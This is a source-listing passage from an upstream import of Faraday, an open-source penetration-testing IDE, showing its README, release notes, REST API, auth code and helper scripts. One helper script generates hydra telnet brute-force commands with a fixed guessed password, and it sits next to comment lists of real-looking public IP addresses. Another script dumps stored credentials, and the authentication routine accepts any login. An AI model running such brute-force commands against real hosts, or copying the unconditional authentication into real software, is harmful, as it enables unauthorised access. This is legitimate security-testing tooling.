Codebase list python-faraday / 57482ab
Imported Upstream version 1.0.7 Sophie Brun 9 years ago
479 changed file(s) with 106771 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 *.py[cod]
1
2 # C extensions
3 *.so
4
5 # Packages
6 *.egg
7 *.egg-info
8 dist
9 build
10 eggs
11 parts
12 bin
13 var
14 sdist
15 develop-eggs
16 .installed.cfg
17 lib
18 lib64
19 __pycache__
20
21 # Installer logs
22 pip-log.txt
23
24 # Unit test / coverage reports
25 .coverage
26 .tox
27 nosetests.xml
28
29 # Translations
30 *.mo
31
32 # Mr Developer
33 .mr.developer.cfg
34 .project
35 .pydevproject
36
37 # ui_mranea
38 lib-ubuntu13-10-i686.tgz
39 lib-ubuntu13-10-i686/
40 views/reports/_attachments/reports/push.sh
41 views/upload
42 views/reports/_attachments/pushreports.py
0 The PRIMARY AUTHORS are:
1
2 * German Riera
3 * Daniel Foguelman
4 * Esteban Guillardoy
5 * Facundo de Guzmán
6 * Federico Kirschbaum
7 * Matias Ariel Ré Medina
8 * Francisco Amato
9
10 Project contributors
11
12 * Andrés López Luksenberg
13 * Mica Ranea
14 * Juan Urbano
15 * Elian Gidoni
16
17
18
19
20 More information on the main contributors to the tool can be found in
21 docs/contributors.txt.
22
0 ![Faraday Logo](https://raw.github.com/wiki/infobyte/faraday/images/Faraday-Logo.png)
1
2 Faraday introduces a new concept (IPE) Integrated Penetration-Test Environment a multiuser Penetration test IDE. Designed for distribution, indexation and analysis of the generated data during the process of a security audit.
3
4 The main purpose of Faraday is to re-use the available tools in the community to take advantage of them in a multiuser way.
5
6 Designed for simplicity, users should notice no difference between their own terminal application and the one included in Faraday. Developed with a specialized set of functionalities that help users improve their own work. Do you remember yourself programming without an IDE? Well, Faraday does the same as an IDE does for you when programming, but from the perspective of a penetration test.
7
8 ![GUI - Web](https://raw.github.com/wiki/infobyte/faraday/images/GUI_Dashboard_new.png)
9
10
11 ![GUI - QT](https://raw.github.com/wiki/infobyte/faraday/images/Faraday-Mainwindow.png)
12
13 Please read the [RELEASE notes](https://github.com/infobyte/faraday/blob/master/RELEASE.md)!
14
15 Plugins list:
16 ---
17 Right now faraday has more than [40+ supported tools](https://github.com/infobyte/faraday/wiki/Plugin-List), among them you will find:
18 ![](https://raw.github.com/wiki/infobyte/faraday/images/plugins/Plugins.png)
19
20
21 Installation
22 ---
23
24 The following platform are supported - [More information] (https://github.com/infobyte/faraday/wiki/Installation) :
25
26 ![platform](https://raw.github.com/wiki/infobyte/faraday/images/platform/supported.png)
27
28
29 Quick install:
30
31 Download the latest tarball by clicking [here] (https://github.com/infobyte/faraday/tarball/master)
32
33 Preferably, you can download faraday by cloning the [Git] (https://github.com/infobyte/faraday) repository:
34
35 $ git clone https://github.com/infobyte/faraday.git faraday-dev
36 $ cd faraday-dev
37 $ ./install
38
39
40
41 Usage
42 -----
43
44 To get started, simply execute faraday and use the new console to start working in the pentest:
45
46 $ ./faraday.py
47
48
49 Links
50 ---
51
52 * Homepage: http://faradaysec.com
53 * User's manual: https://github.com/infobyte/faraday/wiki
54 * Download: [.tar.gz] (https://github.com/infobyte/faraday/tarball/master)
55 * Commits RSS feed: https://github.com/infobyte/faraday/commits/master.atom
56 * Issue tracker: https://github.com/infobyte/faraday/issues
57 * Frequently Asked Questions (FAQ): https://github.com/infobyte/faraday/wiki/FAQ
58 * Mailing list subscription: https://groups.google.com/forum/#!forum/faradaysec
59 * Twitter: [@faradaysec] (https://twitter.com/faradaysec)
60 * [Demos] (https://github.com/infobyte/faraday/wiki/Demos)
61 * IRC: [ircs://irc.freenode.net/faraday-dev] (ircs://irc.freenode.net/faraday-dev)
62 * Screenshots: https://github.com/infobyte/faraday/wiki/Screenshots
63
0 IMPORTANT
1 ===========
2
3 Please be kind to remove all your pyc files before running faraday if you are updating this piece of software.
4 We made a big refactor in the latest iteration moving some code into a diferent package.
5
6 Please run ./faraday.py --update
7
8
9 New features in the latest update
10 =====================================
11
12 Dec 12, 2014:
13 ---
14 You can get the new version here:
15
16 * https://github.com/infobyte/faraday/archive/v1.0.7.tar.gz
17
18 Changes:
19
20 * Improved Vulnerability Edition usability, selecting a vuln will load it's content.
21 * ZSH UI now is showing notifications.
22 * ZSH UI now is showing active workspace.
23 * Faraday now asks confirmation on exit, If you have pending conflicts to solve it will show the number of each.
24 * Vulnerability creation is now suported in the status report.
25 * Introducing SSLCheck, a tool for verify bugs in SSL/TLS Certificates on remote hosts. This is integrated with Faraday with a plugin.
26 * Shodan Plugin is now working with the new API.
27 * Some cosmetic changes in the status report.
28
29 Bugfixes:
30
31 * Sorting collumns in the Status Report now is working.
32 * Workspace icon is based on the type of the workspace.
33 * Opening the reports in QT UI now opens the active workspace.
34 * UI Web dates fixes, we were showing dates with a off-by-one error.
35 * Vulnerability edition was missing 'critical' severity.
36 * Objects merge bugfixing
37 * Metadata recursive save fix
38
39
40
41 Nov 7, 2014:
42 ---
43 You can get the new version here:
44
45 * https://github.com/infobyte/faraday/archive/v1.0.6.tar.gz
46
47 Changes:
48
49 * Status report modifications:
50 * Web vulnerability edition support.
51 * Variable columns in status report.
52 * New field called "Data" with extra information about a vulnerability.
53 * Bug fixes
54
55
56 Oct 17, 2014:
57 ----
58 * https://github.com/infobyte/faraday/commit/a81c6376ed47a2f7b501c8f48f2179eb7c5d58b9
59
60 Status report now have edition capabilities
61 Introducing batch vulnerability edition and deletion. Now you can edit your status report.
62
63 Lots of bug fixes
64
65 Ubuntu 14.04 support fixes
66 Mac support fixes
67
68
69 Sep 26, 2014:
70 ----
71 * https://github.com/infobyte/faraday/commit/440858ec8172193ce401bbf6a5f4b3052edb6edb
72
73 New Dashboard design with summarized information.
74
75 D3.js Fancy visualizations.
76
77 Vulnerability Status report.
78
79 Command run user/host identification.
80
81 Vulnerability Statistics.
82
83 Optimization Refactor.
84
85 Jun 06, 2014:
86 ----
87
88 * https://github.com/infobyte/faraday/commit/e616bdb44b089bfccf2405e51837eeae5d403b9f
89
90 Notifications: Updating objets on faraday now results in a beautiful
91 notification in the QT ui.
92
93 Performance: Enhacing performance when lots of workspaces are available.
94 We now load each workspace whe it's needed instead of loading ahead the
95 full workspace list.
96
97 UI: Workspace split, now you can select the workspace to visualize. We
98 are now using bootstrap.
99
100 API: New operations on the Rest API (this is just for the following UI
101 modifications). Vulnerability update and delete operations.
102
103 May 14, 2014:
104 ----
105
106 * https://github.com/infobyte/faraday/commit/9dfa9ad23dfe450ceb65d38074d55f07425aa90a
107
108 Improving (web interface, vulnerability classification)
109
110 Apr 30, 2014:
111 ----
112
113 * https://github.com/infobyte/faraday/commit/931865fd4bd9c5fbd1a237b52659b1c873e1fcbf
114
115 MacOS Support
116
117 Apr 04, 2014:
118 ----
119 * https://github.com/infobyte/faraday/commit/0fe6978fe41dc85cd8540c2f26074f3e3f57507f
120
121 We are proud to present two new features that will enhace the Faraday experience.
122 Taking feedback from our users we took account that each of them had particular needs from their consoles (completion, size, fonts, so on so forth) and their need to be able to know what commands where run during an engagement.
123
124 * A brand new ZSH based Terminal UI
125 * The Command Run execution history
126
127
0 # Faraday Penetration Test IDE - Community Version
1 # Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 # See the file 'doc/LICENSE' for the license information
3
(New empty file)
(New empty file)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import threading
9 import logging
10 import requests
11 import json
12 import base64
13
14 from flask import Flask, request, jsonify
15 from tornado.wsgi import WSGIContainer
16 from tornado.httpserver import HTTPServer
17 from tornado.ioloop import IOLoop
18
19 from plugins.core import PluginControllerForApi
20 from model.visitor import VulnsLookupVisitor
21
22 import utils.logs as logger
23
24
25 _plugin_controller_api = None
26 _http_server = None
27
28
29 def startServer():
30 global _http_server
31 if _http_server is not None:
32 IOLoop.instance().start()
33
34
35 def stopServer():
36 global _http_server
37 if _http_server is not None:
38 IOLoop.instance().stop()
39 _http_server.stop()
40
41
42 def startAPIs(plugin_manager, model_controller, mapper_manager):
43 global _rest_controllers
44 global _http_server
45 _rest_controllers = [PluginControllerAPI(plugin_manager, mapper_manager), ModelControllerAPI(model_controller)]
46 #TODO: load API configuration from config file
47 port = 9977
48 app = Flask('APISController')
49
50 _http_server = HTTPServer(WSGIContainer(app))
51 _http_server.listen(port)
52
53 routes = [r for c in _rest_controllers for r in c.getRoutes()]
54
55 for route in routes:
56 app.add_url_rule(route.path, view_func=route.view_func, methods=route.methods)
57
58 logging.getLogger("tornado.access").addHandler(logger.getLogger(app))
59 logging.getLogger("tornado.access").propagate = False
60 threading.Thread(target=startServer).start()
61
62 def stopAPIs():
63 stopServer()
64
65
66 class RESTApi(object):
67 """ Abstract class for REST Controllers
68 All REST Controllers should extend this class
69 in order to get published"""
70
71 def getRoutes(self):
72 raise NotImplementedError('Abstract Class')
73
74 def badRequest(self, message):
75 error = 400
76 return jsonify(error=error,
77 message=message), error
78
79 def noContent(self, message):
80 code = 204
81 return jsonify(code=code,
82 message=message), code
83
84 def ok(self, message):
85 code = 200
86 return jsonify(code=code,
87 message=message)
88
89
90 class ModelControllerAPI(RESTApi):
91 def __init__(self, model_controller):
92 self.controller = model_controller
93
94 def getRoutes(self):
95 routes = []
96 routes.append(Route(path='/model/edit/vulns',
97 view_func=self.postEditVulns,
98 methods=['POST']))
99
100 routes.append(Route(path='/model/del/vulns',
101 view_func=self.deleteVuln,
102 methods=['DELETE']))
103
104 routes.append(Route(path='/model/host',
105 view_func=self.createHost,
106 methods=['PUT']))
107
108 routes.append(Route(path='/model/webvulns',
109 view_func=self.listWebVulns,
110 methods=['GET']))
111
112 routes.append(Route(path='/model/interface',
113 view_func=self.createInterface,
114 methods=['PUT']))
115
116 routes.append(Route(path='/model/service',
117 view_func=self.createService,
118 methods=['PUT']))
119
120 routes.append(Route(path='/model/vuln',
121 view_func=self.createVuln,
122 methods=['PUT']))
123
124 routes.append(Route(path='/model/vulnweb',
125 view_func=self.createVulnWeb,
126 methods=['PUT']))
127
128 routes.append(Route(path='/model/note',
129 view_func=self.createNote,
130 methods=['PUT']))
131
132 routes.append(Route(path='/model/cred',
133 view_func=self.createCred,
134 methods=['PUT']))
135
136 return routes
137
138 def listWebVulns(self):
139 vulns = self.controller.getWebVulns()
140 j = [{'request': v.request, 'website': v.website, 'path': v.path, 'name': v.name, 'desc': v.desc, 'severity': v.severity} for v in vulns]
141 return self.ok(j)
142
143 def deleteVuln(self):
144 json_data = request.get_json()
145 # validate mandatory:
146 if not 'vulnid' in json_data:
147 return self.badRequest("vulid is mandatory")
148 if not 'hostid' in json_data:
149 return self.badRequest("hostid is mandatory")
150
151 vulnid = json_data['vulnid']
152 hostid = json_data['hostid']
153
154 host = self.controller.getHost(hostid)
155 if not host:
156 return self.badRequest("no plugin available for cmd")
157
158 visitor = VulnsLookupVisitor(vulnid)
159 host.accept(visitor)
160
161 if not visitor.vulns:
162 return self.noContent('No vuls matched criteria')
163
164 # forward to controller
165 for vuln, parents in zip(visitor.vulns, visitor.parents):
166 last_parent = parents[0]
167 self.controller.delVulnSYNC(last_parent, vuln.getID())
168
169 return self.ok("output successfully sent to plugin")
170
171
172 def postEditVulns(self):
173 json_data = request.get_json()
174 # validate mandatory:
175 if not 'vulnid' in json_data:
176 return self.badRequest("vulid is mandatory")
177 if not 'hostid' in json_data:
178 return self.badRequest("hostid is mandatory")
179
180 vulnid = json_data['vulnid']
181 hostid = json_data['hostid']
182
183 host = self.controller.getHost(hostid)
184 if not host:
185 return self.badRequest("no plugin available for cmd")
186
187 visitor = VulnsLookupVisitor(vulnid)
188 host.accept(visitor)
189
190 if not visitor.vulns:
191 return self.noContent('No vuls matched criteria')
192
193 name = json_data.get('name', None)
194 desc = json_data.get('desc', None)
195 severity = json_data.get('severity', None)
196 refs = json_data.get('refs', None)
197
198 # forward to controller
199 for vuln in visitor.vulns:
200 self.controller.editVulnSYNC(vuln, name, desc, severity, refs)
201
202 return self.ok("output successfully sent to plugin")
203
204 def _create(self, creation_callback, params):
205 data = request.get_json()
206 if not 'name' in data:
207 return self.badRequest("name is mandatory")
208
209 kwargs = {}
210 for param in params:
211 kwargs[param] = data.get(param, None)
212 obj = creation_callback(**kwargs)
213
214 if obj:
215 return jsonify(code=200,
216 id=obj.getID())
217 return self.badRequest("Object cannot be created")
218
219 def createHost(self):
220 return self._create(
221 self.controller.newHost,
222 ['name', 'os'])
223
224 def createInterface(self):
225 return self._create(
226 self.controller.newInterface,
227 ['name', 'mac', 'ipv6_address', 'ipv4_mask', 'ipv4_gateway',
228 'ipv4_dns', 'ipv6_address', 'ipv6_prefix', 'ipv6_gateway',
229 'ipv6_dns', 'network_segment', 'hostname_resolution',
230 'parent_id'])
231
232 def createService(self):
233 return self._create(
234 self.controller.newService,
235 ['name', 'protocol', 'ports', 'status',
236 'version', 'description', 'parent_id'])
237
238 def createVuln(self):
239 return self._create(
240 self.controller.newVuln,
241 ['name', 'desc', 'ref', 'severity', 'parent_id'])
242
243 def createVulnWeb(self):
244 return self._create(
245 self.controller.newVulnWeb,
246 ['name', 'desc', 'ref', 'severity', 'website',
247 'path', 'request', 'response', 'method', 'pname',
248 'params', 'query', 'category', 'parent_id'])
249
250 def createNote(self):
251 return self._create(
252 self.controller.newNote,
253 ['name', 'text', 'parent_id'])
254
255 def createCred(self):
256 return self._create(
257 self.controller.newCred,
258 ['username', 'password', 'parent_id'])
259
260
261 class PluginControllerAPI(RESTApi):
262 def __init__(self, plugin_manager, mapper_manager):
263 self.plugin_controller = PluginControllerForApi(
264 "PluginController",
265 plugin_manager.getPlugins(),
266 mapper_manager)
267
268 def getRoutes(self):
269 routes = []
270 routes.append(Route(path='/cmd/input',
271 view_func=self.postCmdInput,
272 methods=['POST']))
273 routes.append(Route(path='/cmd/output',
274 view_func=self.postCmdOutput,
275 methods=['POST']))
276 routes.append(Route(path='/cmd/active-plugins',
277 view_func=self.clearActivePlugins,
278 methods=['DELETE']))
279 return routes
280
281 def pluginAvailable(self, new_cmd, output_file):
282 code = 200
283 return jsonify(code=code,
284 cmd=new_cmd,
285 custom_output_file=output_file)
286
287 def postCmdInput(self):
288 json_data = request.get_json()
289 if 'cmd' in json_data.keys():
290 cmd = json_data.get('cmd')
291 has_plugin, new_cmd, output_file = self.plugin_controller.\
292 processCommandInput(cmd)
293 if has_plugin:
294 return self.pluginAvailable(new_cmd, output_file)
295 return self.noContent("no plugin available for cmd")
296 #cmd not sent, bad request
297 return self.badRequest("cmd parameter not sent")
298
299 def postCmdOutput(self):
300 json_data = request.get_json()
301 if 'cmd' in json_data.keys():
302 if 'output' in json_data.keys():
303 cmd = json_data.get('cmd')
304 output = base64.b64decode(json_data.get('output'))
305 if self.plugin_controller.onCommandFinished(cmd, output):
306 return self.ok("output successfully sent to plugin")
307 return self.badRequest("output received but no active plugin")
308 return self.badRequest("output parameter not sent")
309 return self.badRequest("cmd parameter not sent")
310
311 def clearActivePlugins(self):
312 self.plugin_controller.clearActivePlugins()
313 return self.ok("active plugins cleared")
314
315
316 class PluginControllerAPIClient(object):
317 def __init__(self, hostname, port):
318 self.hostname = hostname
319 self.port = port
320 self.url_input = "http://%s:%d/cmd/input" % (self.hostname, self.port)
321 self.url_output = "http://%s:%d/cmd/output" % (self.hostname, self.port)
322 self.url_active_plugins = "http://%s:%d/cmd/active-plugins" % (self.hostname, self.port)
323 self.headers = {'Content-type': 'application/json', 'Accept': 'application/json'}
324
325 def send_cmd(self, cmd):
326 data = {"cmd": cmd}
327 new_cmd = cmd
328 try:
329 response = requests.post(self.url_input,
330 data=json.dumps(data),
331 headers=self.headers)
332
333 if response.status_code == 200:
334 json_response = response.json()
335 if "cmd" in json_response.keys():
336 if json_response.get("cmd") is not None:
337 new_cmd = json_response.get("cmd")
338 if "custom_output_file" in json_response.keys():
339 output_file = json_response.get("custom_output_file")
340 except:
341 new_cmd = cmd
342 finally:
343 return new_cmd, output_file
344
345 def send_output(self, cmd, output_file):
346 output_file = open(output_file)
347 output = base64.b64encode(output_file.read())
348 data = {"cmd": cmd, "output": output}
349 response = requests.post(self.url_output,
350 data=json.dumps(data),
351 headers=self.headers)
352 if response.status_code != 200:
353 return False
354 return True
355
356
357 class Route(object):
358 """ Route class, abstracts information about:
359 path, handler and methods """
360 def __init__(self, **kwargs):
361 for k, v in kwargs.items():
362 setattr(self, k, v)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import requests
8 import json
9
10
11 class RestApiClient(object):
12 def __init__(self, hostname, port):
13 self.hostname = hostname
14 self.port = port
15 self.url = "http://%s:%d/" % (self.hostname, self.port)
16 self.headers = {'Content-type': 'application/json', 'Accept': 'application/json'}
17
18
19 class ModelRestApiClient(RestApiClient):
20 def __init__(self, hostname, port):
21 super(ModelRestApiClient, self).__init__(hostname, port)
22
23 def _create(self, obj_class_url, **kwargs):
24 url = self.url + ('model/%s' % obj_class_url)
25 data = {}
26 for k, v in kwargs.items():
27 data[k] = v
28 obj_id = None
29 try:
30 response = requests.put(
31 url, data=json.dumps(data),
32 headers=self.headers)
33 if response.status_code == 200:
34 json_response = response.json()
35 obj_id = json_response.get('id')
36 except:
37 pass
38 return obj_id
39
40 def createHost(self, name, os):
41 return self._create("host", name=name, os=os)
42
43 def createInterface(self, name, mac, ipv4_address, ipv4_mask,
44 ipv4_gateway, ipv4_dns, ipv6_address, ipv6_prefix,
45 ipv6_gateway, ipv6_dns, network_segment,
46 hostname_resolution, parent_id):
47 return self._create(
48 "interface", name=name, mac=mac, ipv4_address=ipv4_address,
49 ipv4_mask=ipv4_mask, ipv4_gateway=ipv4_gateway, ipv4_dns=ipv4_dns,
50 ipv6_address=ipv6_address, ipv6_prefix=ipv6_prefix,
51 ipv6_gateway=ipv6_gateway, ipv6_dns=ipv6_dns,
52 network_segment=network_segment,
53 hostname_resolution=hostname_resolution,
54 parent_id=parent_id)
55
56 def createService(self, name, protocol, ports, status, version,
57 description, parent_id):
58 return self._create(
59 "service", name=name, protocol=protocol, ports=ports,
60 status=status, version=version, description=description,
61 parent_id=parent_id)
62
63 def createVuln(self, name, desc, ref, severity, parent_id):
64 return self._create(
65 "vuln", name=name, desc=desc, ref=ref, severity=severity,
66 parent_id=parent_id)
67
68 def createVulnWeb(self, name, desc, ref, severity, website, path, request,
69 response, method, pname, params, query, category,
70 parent_id):
71 return self._create(
72 "vulnweb", name=name, desc=desc, ref=ref, severity=severity,
73 website=website, path=path, request=request, response=response,
74 method=method, pname=pname, params=params, query=query,
75 category=category, parent_id=parent_id)
76
77 def createNote(self, name, text, parent_id):
78 return self._create("note", name=name, text=text, parent_id=parent_id)
79
80 def createCred(self, username, password, parent_id):
81 return self._create(
82 "cred", username=username, password=password, parent_id=parent_id)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 __all__ = []
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import auth.users
9
10 RolesAdmited = set(["local_admin"])
11
12
13
14 class Roles(object):
15 """Roles for a user are defined here"""
16 def __init__(self, *args):
17 self.roles = []
18 if set(args).issubset(RolesAdmited):
19 self.roles.extend(args)
20
21 def __iter__(self):
22 return iter(self.roles)
23
24 class codes:
25 """
26 an enumeration with different result/status codes
27 """
28 successfulLogin = 0
29 badUserOrPassword = 1
30
31 __descriptions = {
32 successfulLogin :"Successful Logon",
33 badUserOrPassword : "Bad username or password",
34 }
35
36 @staticmethod
37 def getDescription(code):
38 """
39 Returns the description for a given code
40 """
41 return codes.__descriptions.get(code,"code does not exist")
42
43
44 class SecurityManager(object):
45 """
46 Handles the security and authentication in the system.
47 it exposes some methods used to authenticate users and check permissions
48 over different objects on the model.
49 """
50
51
52
53
54
55
56
57
58 def __init__(self):
59 self.current_user = None
60
61 def authenticateUser(self, username, password):
62 """
63 Authenticates a user.
64 It returns 2 values:
65 First value:
66 if username and password are correct it returns a User object.
67 It returns None if authentication fails
68 Second value:
69 returns a result code
70 This code can be used later to get a description of the situation.
71 To get the description use
72 """
73
74
75
76
77
78
79 user = auth.users.User(username,password)
80 self.current_user = user
81
82 return codes.successfulLogin
83
84 def getCurrentUser(self):
85 return self.current_user
86
87 def getUserRoles(self):
88 return Roles("local_admin")
89
90 def checkPermissions(self, operation):
91 providers = self.getProviders(operation)
92 if any( [ prov.isAllowed(securityManager = self,
93 aUser = self.getCurrentUser(),
94 anOperation = operation)
95 for prov in providers ] ):
96 return True
97 raise SecurityFailException("No permission for anything")
98
99 def getProviders(self, operation):
100 return [prov() for prov in SecurityProvider.__subclasses__() if prov.handlesOp(operation) ]
101
102
103 class SecurityProvider(object):
104 def isAllowed(self, securityManager, aUser, anOperation):
105 raise NotImplementedError("Should not implement abstract")
106
107 class WorkspacePermisionProvider(SecurityProvider):
108 handles = ["syncActiveWorkspace"]
109 def __init__(self):
110 self.ops_per_roles = {'syncActiveWorkspace' : Roles('pentester', 'admin').roles }
111
112 @staticmethod
113 def handlesOp(anOperation):
114 return anOperation in WorkspacePermisionProvider.handles
115
116 def isAllowed(self, securityManager, aUser, anOperation):
117 """ Checks if the user has the role needed to run the operation """
118 allowd = any(map(lambda x: x in self.ops_per_roles[anOperation], securityManager.getUserRoles()))
119
120 return allowd
121
122
123 class SecurityFailException(Exception):
124 pass
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import os
8 import sys
9 import uuid
10
11
12
13 class User(object):
14 """
15 This represents a user on the system.
16 Users are assigned to work on different workspaces and
17 some permissions are configured.
18 A user can be part of groups.
19 """
20 def __init__(self, name, passwd = "", display_name = "", groups = [], level = 0):
21
22 self.name = name
23 self.__id = uuid.uuid4()
24
25 self.display_name = display_name or name
26 self._groups = []
27 self._level = level
28
29
30 self.__password = passwd
31
32
33
34 self.lastlogon = None
35
36
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 for host in api.__model_controller.getAllHosts():
10 print "Del host: " + host.name
11 api.delHost(host.id)
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 for host in api.__model_controller.getAllHosts():
11
12 for i in host.getAllInterfaces():
13 for s in i.getAllServices():
14 if s.getStatus() != "open":
15 print "delService" + s.name + "from int:" + i.name
16 api.delServiceFromInterface(host.id,i.id,s.id)
17
18
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import re
10 import os
11 import pprint
12 import sys
13 import argparse
14 import shlex
15
16 if __name__ == '__main__':
17 parser = argparse.ArgumentParser()
18
19 parser.add_argument('-e')
20 parser.add_argument('-o')
21 parser.add_argument('-f')
22
23 #get all hosts
24 #./fplugin -e 'for h in api.__model_controller.getAllHosts(): print h.name'
25 #create a new host
26 #./fplugin -e 'for h in api.createAndAddHost("8.8.8.8","Linux")'
27 #get all creds
28 #get all hostname
29 #get all ip port http/https
30
31 args, unknown = parser.parse_known_args()
32
33 if args.o:
34 if os.path.isfile(args.o):
35 with open(args.o) as f:
36 data = f.read()
37 print data
38
39
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 for host in api.__model_controller.getAllHosts():
11 for c in host.getCreds():
12 print host.name+"|0|"+c.username+ "|"+c.password
13
14 for i in host.getAllInterfaces():
15 for s in i.getAllServices():
16 for c in s.getCreds():
17 print host.name+"|"+str(s.getPorts()) + "|"+c.username+ "|"+c.password
18
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 for host in api.__model_controller.getAllHosts():
11 for i in host.getAllInterfaces():
12 for h in i._hostnames:
13 print h
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 for h in api.__model_controller.getAllHosts(): print h.name
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 for host in api.__model_controller.getAllHosts():
11 if len(host.getAllInterfaces()) > 1:
12 print host.name
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 for h in api.__model_controller.getAllHosts(): print h.name+"|"+h.getOS()
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 webs={}
10 for host in api.__model_controller.getAllHosts():
11
12 for i in host.getAllInterfaces():
13 for s in i.getAllServices():
14 for p in s.getPorts():
15 if str(p) == '23':
16 webs[host.name]=1
17
18 for k,v in webs.iteritems():
19 print "hydra -l '' -p 'telecom' -w 10 telnet://"+k+":23"
20
21
22
23
24
25 # 200.61.47.65
26 # 200.45.69.29
27 # 200.61.47.217
28 # 200.61.47.121
29 # 200.45.69.17
30 # 200.61.47.129
31 # 200.61.47.113
32 # 200.61.47.9
33 # 190.221.164.65
34 # 200.61.47.146
35 # 186.153.146.227
36 # 200.61.47.177
37 # 200.61.47.17
38 # 200.61.47.33
39 # 200.45.69.30
40 # 200.61.47.179
41 # 200.61.47.233
42 # 200.61.47.41
43 # 200.61.47.221
44 # 200.61.47.220
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 webs={}
10 for host in api.__model_controller.getAllHosts():
11
12 for i in host.getAllInterfaces():
13 for s in i.getAllServices():
14 for p in s.getPorts():
15 if str(p) == '5900':
16 webs[host.name]=1
17
18 for k,v in webs.iteritems():
19 print k
20 # print "hydra -l '' -p 'telecom' -w 10 telnet://"+k+":23"
21
22
23
24
25
26 # 200.61.47.65
27 # 200.45.69.29
28 # 200.61.47.217
29 # 200.61.47.121
30 # 200.45.69.17
31 # 200.61.47.129
32 # 200.61.47.113
33 # 200.61.47.9
34 # 190.221.164.65
35 # 200.61.47.146
36 # 186.153.146.227
37 # 200.61.47.177
38 # 200.61.47.17
39 # 200.61.47.33
40 # 200.45.69.30
41 # 200.61.47.179
42 # 200.61.47.233
43 # 200.61.47.41
44 # 200.61.47.221
45 # 200.61.47.220
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 import re
11 vulns=""
12 for host in api.__model_controller.getAllHosts():
13 hostnames=""
14 for i in host.getAllInterfaces():
15 for h in i._hostnames:
16 hostnames+=","+h
17
18 for v in host.getVulns():
19 print host.name+"("+hostnames+")|0|"+v.name.encode("utf-8")+ "|"+re.sub("\n|\r",",",v.desc.encode("utf-8"))+"|"+str(v.severity)+"|"+str(v.id)
20
21 for i in host.getAllInterfaces():
22 for s in i.getAllServices():
23 for v in s.getVulns():
24 print host.name+"("+hostnames+")|"+str(s.getPorts()) + "|"+v.name.encode("utf-8")+ "|"+re.sub("\n|\r",",",v.desc.encode("utf-8"))+"|"+str(v.severity)+"|"+str(v.id)
25
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import re
10 webs={}
11 for host in api.__model_controller.getAllHosts():
12
13 for i in host.getAllInterfaces():
14 for s in i.getAllServices():
15 web=False
16 if re.search("www|web|http|https",s.name):
17 web=True
18
19 if ['80','443','8080'] in s.getPorts():
20 web=true
21
22 for v in s.getVulns():
23 if v.class_signature=="VulnerabilityWeb":
24 web=True
25 break
26 if web==True:
27 for p in s.getPorts():
28 if str(p)=="443":
29 webs["https://" + host.name+":"+str(p)+"/"]=1
30 else:
